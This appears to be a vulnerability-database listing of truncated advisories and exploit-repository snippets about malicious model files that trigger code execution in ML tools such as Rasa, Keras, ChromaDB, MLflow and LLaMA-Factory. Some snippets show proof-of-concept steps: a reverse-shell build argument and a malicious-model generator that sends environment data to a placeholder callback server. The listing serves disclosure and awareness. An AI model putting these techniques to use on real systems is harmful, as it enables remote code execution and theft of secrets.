Rasa-cve-exp

Rasa-cve-exp CVE-2021-42556 server-1.py Just run it directly python server-1.py Arbitrary File Upload PUT /model "modelserver":"url":"http://192.168.244.128:5000/stage1","waittimebetweenpulls":0 Effect as follows: CVE-2021-41127 server-1.py Default model name: evilimportmodel.tar.gz Malicious mod...

ExploitTensorflowCVE-2021-37678

CVE-2021-37678 Exploit To exploit the vulnerability, it is necessary to start a Docker container with an environment prepared to run Tensorflow with version 2.2.3 which still has the vulnerability. It consists of: An AMD 64-bit architecture, CPU or GPU that can execute AVX instructions Python...

CVE-2024-3660-PoC

CVE-2024-3660 – TensorFlow Keras Arbitrary Code Execution via Malicious Model Overview CVE-2024-3660 is an arbitrary code execution vulnerability in TensorFlow's Keras framework affecting versions \ --build-arg LPORT= \ -t tfimg . && \ containerid=$docker create tfimg && \ docker cp...

Project-CVE-2026-45833

Project-CVE-2026-45833 CVE-2026-45833 ChromaDB 请自行承担风险 部分代码需要修改。 1. 生成恶意模型 python3 -c " from main import MaliciousModelGenerator gen = MaliciousModelGenerator gen.generatemodel'exfil-model', 'exfilenv', 'exfilurl': 'http://your-server.com/callback' " 2. 上传到 HuggingFace（手动或通过 API） 3. 运行侦察 python3...

CVE-2026-79721

Code execution can occur in versions of the MLflow platform running version 0.0.1 or newer, enabling a maliciously crafted model artifact to execute arbitrary code on an end user's system when loaded by the project...

CVE-2026-70639

A flaw was found in llama.cpp. A null pointer dereference vulnerability exists in the LLaMA-Android JNI wrapper. This flaw allows an attacker to provide a malicious or corrupt model file, which causes the bench1model function to attempt to use an invalid memory address. This leads to a crash of t...

SUSE CVE-2026-50144

ncnn is a high-performance neural network inference framework optimized for the mobile platform. In commit e54f7b1f88434e1d844ea0551b880a1cfb079ce1 and earlier, ncnn allows an out-of-bounds heap write in ncnn::ParamDict::loadparam when Net::loadparam loads a malicious .param model file because th...

CVE-2026-50144

ncnn (mobile-optimized neural network framework) contains an out-of-bounds heap write in ParamDict::load_param() when loading a malicious .param model, caused by a negative parameter id indexing before params[NCNN_MAX_PARAM_COUNT]. This is exploitable via Net::load_param() and is fixed by commit ...

InstructLab Includes Functionality from Untrusted Control Sphere

A flaw was found in InstructLab. The linuxtrain.py script hardcodes trustremotecode=True when loading models from HuggingFace. This allows a remote attacker to achieve arbitrary Python code execution by convincing a user to run ilab train/download/generate with a specially crafted malicious model...

PT-2026-59182

A flaw was found in InstructLab. The linux train.py script hardcodes trust remote code=True when loading models from HuggingFace. This allows a remote attacker to achieve arbitrary Python code execution by convincing a user to run ilab train/download/generate with a specially crafted malicious...

PT-2026-59687

The snorkel library thru v0.10.0 contains an insecure deserialization vulnerability CWE-502 in the Trainer.load method of the Trainer class. The method loads model checkpoint files using torch.load without enabling the security-restrictive weights only=True parameter. This default behavior allows...

MLFlow unsafe deserialization

Deserialization of untrusted data can occur in versions of the MLflow platform running version 0.9.0 or newer, enabling a maliciously uploaded PyFunc model to run arbitrary code on an end user’s system when interacted with...

CVE-2026-12480

A flaw was found in Keras. An attacker can craft a malicious model archive or weights file containing a Virtual Dataset VDS that references external files on a victim's system. When a user loads this malicious model, the external file is transparently read. This vulnerability leads to information...

CVE-2026-58116

LLaMA-Factory through 0.9.5 contains a remote code execution vulnerability that allows attackers with WebUI access to execute arbitrary Python code by supplying a malicious model path in the Chat or Training interfaces. The application passes user-supplied model path input unvalidated into...

CVE-2026-58116

CVE-2026-58116 affects LLaMA-Factory up to version 0.9.5. A remote code execution vulnerability exists when a malicious model path is supplied via WebUI Chat/Training interfaces; unvalidated input is passed to AutoTokenizer.from_pretrained() and AutoModel.from_pretrained() with trust_remote_code=...

CVE-2026-58116 LLaMA-Factory 0.9.5 Remote Code Execution via WebUI Model Path

LLaMA-Factory through 0.9.5 contains a remote code execution vulnerability that allows attackers with WebUI access to execute arbitrary Python code by supplying a malicious model path in the Chat or Training interfaces. The application passes user-supplied model path input unvalidated into...

ChromaDB Python project has a pre-authentication code injection vulnerability

A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trustremotecode set to true in...

PYSEC-2026-514 Rasa Allows Remote Code Execution via Remote Model Loading

Vulnerability A vulnerability has been identified in Rasa Pro and Rasa Open Source that enables an attacker who has the ability to load a maliciously crafted model remotely into a Rasa instance to achieve Remote Code Execution. The prerequisites for this are: - The HTTP API must be enabled on the...

PT-2026-53585

Vulnerability A vulnerability has been identified in Rasa Pro and Rasa Open Source that enables an attacker who has the ability to load a maliciously crafted model remotely into a Rasa instance to achieve Remote Code Execution. The prerequisites for this are: - The HTTP API must be enabled on the...

PT-2026-53586

Vulnerability A vulnerability has been identified in Rasa Pro and Rasa Open Source that enables an attacker who has the ability to load a maliciously crafted model remotely into a Rasa instance to achieve Remote Code Execution. The prerequisites for this are: - The HTTP API must be enabled on the...